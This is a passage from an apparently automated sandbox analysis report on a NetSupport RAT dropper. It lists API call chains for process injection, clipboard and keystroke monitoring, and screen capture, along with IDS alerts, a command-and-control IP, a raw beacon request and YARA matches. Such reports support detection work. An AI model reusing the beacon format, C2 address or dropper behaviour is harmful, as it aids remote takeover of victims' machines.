Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	5_2_1102D330
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	5_2_11065890
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	5_2_1106A0A0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	5_2_111266E0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	8_2_1102D330
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11065890 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	8_2_11065890
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1106A0A0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	8_2_1106A0A0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_111266E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	8_2_111266E0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1110AFD0 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	8_2_1110AFD0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2827745 - Severity 1 - ETPRO MALWARE NetSupport RAT CnC Activity : 192.168.2.4:49730 -> 45.61.128.74:443

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 104.26.1.231 104.26.1.231

Source: Joe Sandbox View

ASN Name: M247GB M247GB

Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.128.74
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.128.74
Source: unknown	TCP traffic detected without corresponding DNS query: 45.61.128.74
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: geo.netsupportsoftware.com

Source: unknown

HTTP traffic detected: POST http://45.61.128.74/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.61.128.74Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675691550.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675726387.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1674859649.000001AFA17C2000.00000004.00000020.00020000.00000000.sdmp, shv.exe, shv.exe, 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	String found in binary or memory: http://%s/fakeurl.htm
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675691550.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675726387.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1674859649.000001AFA17C2000.00000004.00000020.00020000.00000000.sdmp, shv.exe, shv.exe, 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	String found in binary or memory: http://%s/testpage.htm
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675691550.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675726387.000001AFA17C4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1674859649.000001AFA17C2000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4133041129.000000006CDB0000.00000002.00000001.01000000.0000000E.sdmp, HTCTL32.DLL.0.dr	String found in binary or memory: http://%s/testpage.htmwininet.dll
Source: shv.exe, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://127.0.0.1
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0$
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: shv.exe, 00000005.00000002.4131206311.0000000000B90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/Echo
Source: shv.exe, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: shv.exe, 00000005.00000002.4131206311.0000000000B9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp$
Source: shv.exe, 00000005.00000002.4131206311.0000000000B90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp0
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/codesigningrootr450F
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/gsgccr45evcodesignca20200U
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp.globalsign.com/rootr30;
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://s2.symcb.com0
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/codesigningrootr45.crt0A
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: remcmdstub.exe.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/root-r3.crt06
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://sv.symcd.com0&
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.netsupportschool.com/tutor-assistant.asp11(
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.pci.co.uk/support
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, shv.exe, 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000008.00000002.1694438358.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 00000009.00000002.1806388208.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000B.00000002.1886663530.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, shv.exe, 0000000E.00000002.1968482175.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, PCICL32.DLL.0.dr	String found in binary or memory: http://www.pci.co.uk/supportsupport
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://www.symauth.com/cps0(
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: http://www.symauth.com/rpa00
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: file.exe, 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1673741447.000001AFA592D000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.0.dr, pcicapi.dll.0.dr, PCICL32.DLL.0.dr, shv.exe.0.dr, TCCTL32.DLL.0.dr, PCICHEK.DLL.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: remcmdstub.exe.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_1101F6B0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,

5_2_1101F6B0

Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1101F6B0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	5_2_1101F6B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1101F6B0 OpenClipboard,GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,MessageBeep,CloseClipboard,	8_2_1101F6B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11032EE0 GetClipboardFormatNameA,SetClipboardData,	8_2_11032EE0

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_110321E0 GlobalAlloc,GlobalLock,_memmove,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalFree,

5_2_110321E0

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_110076F0 LoadCursorA,SetCursor,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,CreateDCA,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,SelectClipRgn,BitBlt,SelectClipRgn,DeleteObject,DeleteDC,BitBlt,ReleaseDC,CreatePen,CreateSolidBrush,GetSysColor,LoadBitmapA,_memset,_swscanf,CreateFontIndirectA,_memset,GetStockObject,GetObjectA,CreateFontIndirectA,GetWindowRect,SetWindowTextA,GetSystemMetrics,GetSystemMetrics,SetWindowPos,UpdateWindow,SetCursor,

5_2_110076F0

Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11113880 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		5_2_11113880
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_11113880 PeekMessageA,GetKeyState,GetKeyState,GetKeyState,Sleep,GetKeyState,		8_2_11113880

Source: Yara match	File source: 5.2.shv.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.1afa5756820.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.shv.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.shv.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.shv.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.shv.exe.111b79e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.shv.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.shv.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.shv.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.shv.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.shv.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1806208659.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1694399599.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1886628907.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1968430156.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1673741447.000001AFA55A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shv.exe PID: 3492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shv.exe PID: 7008, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shv.exe PID: 6340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: shv.exe PID: 3244, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Netstat\PCICL32.DLL, type: DROPPED

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_111158B0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		5_2_111158B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_111158B0 SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,SystemParametersInfoA,RegCloseKey,SystemParametersInfoA,		8_2_111158B0

Source: C:\Users\Public\Netstat\shv.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF6FE18C2F0: CreateFileW,CloseHandle,wcscpy,wcscpy,wcscpy,wcscpy,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF6FE18C2F0

Source: C:\Users\Public\Netstat\shv.exe

Code function: 5_2_1115DB40 FindWindowA,_memset,CreateProcessAsUserA,GetLastError,WinExec,CloseHandle,CloseHandle,CloseHandle,WinExec,

5_2_1115DB40

Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		5_2_1102D330
Source: C:\Users\Public\Netstat\shv.exe	Code function: 8_2_1102D330 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,		8_2_1102D330

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE185E24	0_2_00007FF6FE185E24
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1ACE88	0_2_00007FF6FE1ACE88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1A1F20	0_2_00007FF6FE1A1F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1B0754	0_2_00007FF6FE1B0754
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE18F930	0_2_00007FF6FE18F930
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE194928	0_2_00007FF6FE194928
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE19A4AC	0_2_00007FF6FE19A4AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1A3484	0_2_00007FF6FE1A3484
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1AB190	0_2_00007FF6FE1AB190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1C2080	0_2_00007FF6FE1C2080
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1A2D58	0_2_00007FF6FE1A2D58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1A8DF4	0_2_00007FF6FE1A8DF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1B0754	0_2_00007FF6FE1B0754
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE19AF18	0_2_00007FF6FE19AF18
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE195B60	0_2_00007FF6FE195B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1A4B98	0_2_00007FF6FE1A4B98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE19BB90	0_2_00007FF6FE19BB90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1B8C1C	0_2_00007FF6FE1B8C1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1A3964	0_2_00007FF6FE1A3964
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE19C96C	0_2_00007FF6FE19C96C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1B89A0	0_2_00007FF6FE1B89A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE191A48	0_2_00007FF6FE191A48
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE181AA4	0_2_00007FF6FE181AA4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1A2AB0	0_2_00007FF6FE1A2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1BFA94	0_2_00007FF6FE1BFA94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1C5AF8	0_2_00007FF6FE1C5AF8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1BC838	0_2_00007FF6FE1BC838
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE184840	0_2_00007FF6FE184840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1C2550	0_2_00007FF6FE1C2550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1876C0	0_2_00007FF6FE1876C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1A53F0	0_2_00007FF6FE1A53F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE19B534	0_2_00007FF6FE19B534
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE19F180	0_2_00007FF6FE19F180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE1A21D0	0_2_00007FF6FE1A21D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE19126C	0_2_00007FF6FE19126C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE187288	0_2_00007FF6FE187288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE18C2F0	0_2_00007FF6FE18C2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF6FE18A310	0_2_00007FF6FE18A310
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_110733B0	5_2_110733B0
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11029590	5_2_11029590
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11061C90	5_2_11061C90
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11033010	5_2_11033010
Source: C:\Users\Public\Netstat\shv.exe	Code function: 5_2_11163220	5_2_11163220
